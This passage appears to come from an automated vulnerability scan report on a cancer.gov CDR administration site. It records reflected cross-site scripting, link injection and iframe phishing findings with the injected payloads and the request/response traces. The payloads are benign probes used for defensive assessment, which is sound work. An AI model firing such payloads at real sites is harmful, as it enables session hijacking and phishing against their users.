"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/PoliticalSubUnitSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:43:14 GMT
Connection: close
Content-Length: 3033

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Political SubUnit Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448236 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1738)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/PronunciationRecordings.py? Session=None'/><script>alert(1738)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:11:58 GMT
Connection: close
Content-Length: 3109

...
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Audio Pronunciation Recordings Tracking
Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1738) </script>' />

<fieldset class='dates'>
<legend>Date Range</legend>
<label for='start'>Start Date:</label>
<input name='StartDate' value='2011-01-01' class='CdrDateField'
id='start' />  
<label for='end'>End Date:</label>
<input name='EndDate' value=
...
...
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Audio Pronunciation Recordings Tracking
Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1738) </script>' />
```

```
        <fieldset class='dates'>
        <legend>Date Range</legend>
        <label for='start'>Start Date:</label>
        <input name='StartDate' value='2011-01-01' class='CdrDateField'
        id='start' />  
        <label for='end'>End Date:</label>
        <input name='EndDate' value=
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448033 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1735.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/PronunciationRecordings.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1735.html%
22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:11:57 GMT
Connection: close
Content-Length: 3106

...
nbsp;
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Audio Pronunciation Recordings Tracking
Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1735.html"> ' />

<fieldset class='dates'>
<legend>Date Range</legend>
<label for='start'>Start Date:</label>
<input name='StartDate' value='2011-01-01' class='CdrDateField'
id='start' />  
<label for='end'>End Date:</label>
<input name='EndDate' value='2014-07-
...
...
nbsp;
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Audio Pronunciation Recordings Tracking
Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1735.html"> ' />
```

```
        <fieldset class='dates'>
        <legend>Date Range</legend>
        <label for='start'>Start Date:</label>
        <input name='StartDate' value='2011-01-01' class='CdrDateField'
        id='start' />  
        <label for='end'>End Date:</label>
        <input name='EndDate' value='2014-07-
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448162 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1734+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/PronunciationRecordings.py? Session=None%27%22%3E%3Ciframe+id%3D1734+src%3Dhttp%3
A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:11:56 GMT
Connection: close
Content-Length: 3140

...
;
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Audio Pronunciation Recordings Tracking
Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1734 src= http://demo.testfire.net/p
hishing.html > >' />

<fieldset class='dates'>
<legend>Date Range</legend>
<label for='start'>Start Date:</label>
<input name='StartDate' value='2011-01-01' class='CdrDateField'
id='start' />  
<label for='end'>End Date:</label>
<input name='EndD
...
...
;
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Audio Pronunciation Recordings Tracking
Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1734 src= http://demo.testfire.net/p
```

```
hishing.html > >' />

<fieldset class='dates'>
<legend>Date Range</legend>
<label for='start'>Start Date:</label>
<input name='StartDate' value='2011-01-01' class='CdrDateField'
id='start' />  
<label for='end'>End Date:</label>
<input name='EndD
...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448200 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/PronunciationRecordings.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:10 GMT
Connection: close
Content-Length: 3078

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448319 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/PronunciationRecordings.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/PronunciationRecordings.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:51 GMT
Connection: close
Content-Length: 3078

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py - 7 issue(s)

### Issue 1 of 7

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448186 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1707)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/PubStatsByDate.py?VOL=Y& Session=None'/><script>alert(1707)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:10:58 GMT
Connection: close
Content-Length: 3714


...
E='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1707) </script>'>
<!-- Table containing the Date -->
<table border='0' width='25%'>
<tr>
<td colspan='3'>
July 23, 2014<br><br>
</td>
</tr>
</table>

<!-- Table to enter the time frame and select the audience -->
<table border='0' >
<tr>
<td>


...
...
E='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
```

```
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1707) </script>'>
<!-- Table containing the Date -->
<table border='0' width='25%'>
<tr>
<td colspan='3'>
July 23, 2014<br><br>
</td>
</tr>
</table>

<!-- Table to enter the time frame and select the audience -->
<table border='0' >
<tr>
<td>

...
```

## Issue 2 of 7

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448214 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set the value of the parameter 'VOL' to '%3E%22%27%3E%3Cscript%3Ealert%28223%29%3C%2Fscript%3E'
- Set the value of the parameter 'Session' to
'%3E%22%27%3E%3Cscript%3Ealert%28223%29%3C%2Fscript%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/PubStatsByDate.py? VOL=%3E%22%27%3E%3Cscript%3Ealert%28223%29%3C%2Fscript%3E & Se
ss io n= %3 E% 22 %2 7% 3E %3 Cs cr ip t% 3E al er t% 28 22 3% 29 %3 C% 2F sc ri pt %3 E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:45 GMT
Connection: close
Content-Length: 3710


...
ALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='>"'><script> alert(223) </script>'>
<!-- Table containing the Date -->
<table border='0' width='25%'>
<tr>
<td colspan='3'>
July 22, 2014<br><br>
</td>
</tr>
</table>

<!-- Table to enter the time frame and select the audience -->
<table border='0' >
<tr>
<td>


...
...
ALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
```

```
<input type='hidden' name='Session' value='>"'><script> alert(223) </script>'>
<!-- Table containing the Date -->
<table border='0' width='25%'>
<tr>
<td colspan='3'>
July 22, 2014<br><br>
</td>
</tr>
</table>

<!-- Table to enter the time frame and select the audience -->
<table border='0' >
<tr>
<td>

...
```

## Issue 3 of 7

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448159 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1704.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/PubStatsByDate.py?VOL=Y& Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1704.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:10:56 GMT
Connection: close
Content-Length: 3711

...
equest' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1704.html"> '>
<!-- Table containing the Date -->
<table border='0' width='25%'>
<tr>
<td colspan='3'>
July 23, 2014<br><br>
</td>
</tr>
</table>

<!-- Table to enter the time frame and select the audience -->
<table border='0' >
<tr>
<td>
<ta
...
...
equest' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
</TR>
</TABLE>
```

```
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1704.html"> '>
<!-- Table containing the Date -->
<table border='0' width='25%'>
<tr>
<td colspan='3'>
July 23, 2014<br><br>
</td>
</tr>
</table>

<!-- Table to enter the time frame and select the audience -->
<table border='0' >
<tr>
<td>
<ta
...
```

## Issue 4 of 7

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448277 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1703+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/PubStatsByDate.py?VOL=Y& Session=None%27%22%3E%3Ciframe+id%3D1703+src%3Dhttp%3A%2
F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:10:56 GMT
Connection: close
Content-Length: 3745


...
st' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1703 src= http://demo.testfire.net/p
hishing.html > >'>
<!-- Table containing the Date -->
<table border='0' width='25%'>
<tr>
<td colspan='3'>
July 23, 2014<br><br>
</td>
</tr>
</table>

<!-- Table to enter the time frame and select the audience -->
<table border='0' >
<tr>

...
...
st' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Doc Publishing Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
```

```
        <input type='hidden' name='Session' value='None'"> <iframe id=1703 src= http://demo.testfire.net/p
        hishing.html > >'>
        <!-- Table containing the Date -->
        <table border='0' width='25%'>
        <tr>
        <td colspan='3'>
        July 23, 2014<br><br>
        </td>
        </tr>
        </table>

        <!-- Table to enter the time frame and select the audience -->
        <table border='0' >
        <tr>

        ...
```

## Issue 5 of 7

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448071 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/PubStatsByDate.py'
- Set query string to 'VOL=Y&Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/PubStatsByDate.py ? VOL=Y&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:45 GMT
Connection: close
Content-Length: 3683

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 6 of 7

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448101 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/PubStatsByDate.py?VOL=Y&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:10 GMT
Connection: close
Content-Length: 3683

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 7 of 7

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448238 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py |
| Parameter: | VOL |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/PubStatsByDate.py?VOL=Y&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:10 GMT
Connection: close
Content-Length: 3683

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py - 14 issue(s)

### Issue 1 of 14

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448045 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | ReportType |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'gtnwc'/><script>alert(1366)</script>' into the value of parameter 'ReportType'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName& ReportType=gtnwc'/><script>alert(1366)</scr
ipt> &Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:02:40 GMT
Connection: close
Content-Length: 13137

...
ize: small;'> QC Report (Unrecognized Type)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<INPUT TYPE='hidden' NAME='ReportType' VALUE='gtnwc'/><script> alert(1366) </script>'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Document CDR ID: <
...
...
ize: small;'> QC Report (Unrecognized Type)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<INPUT TYPE='hidden' NAME='ReportType' VALUE='gtnwc'/><script> alert(1366) </script>'>
<TABLE>
<TR>
```

```
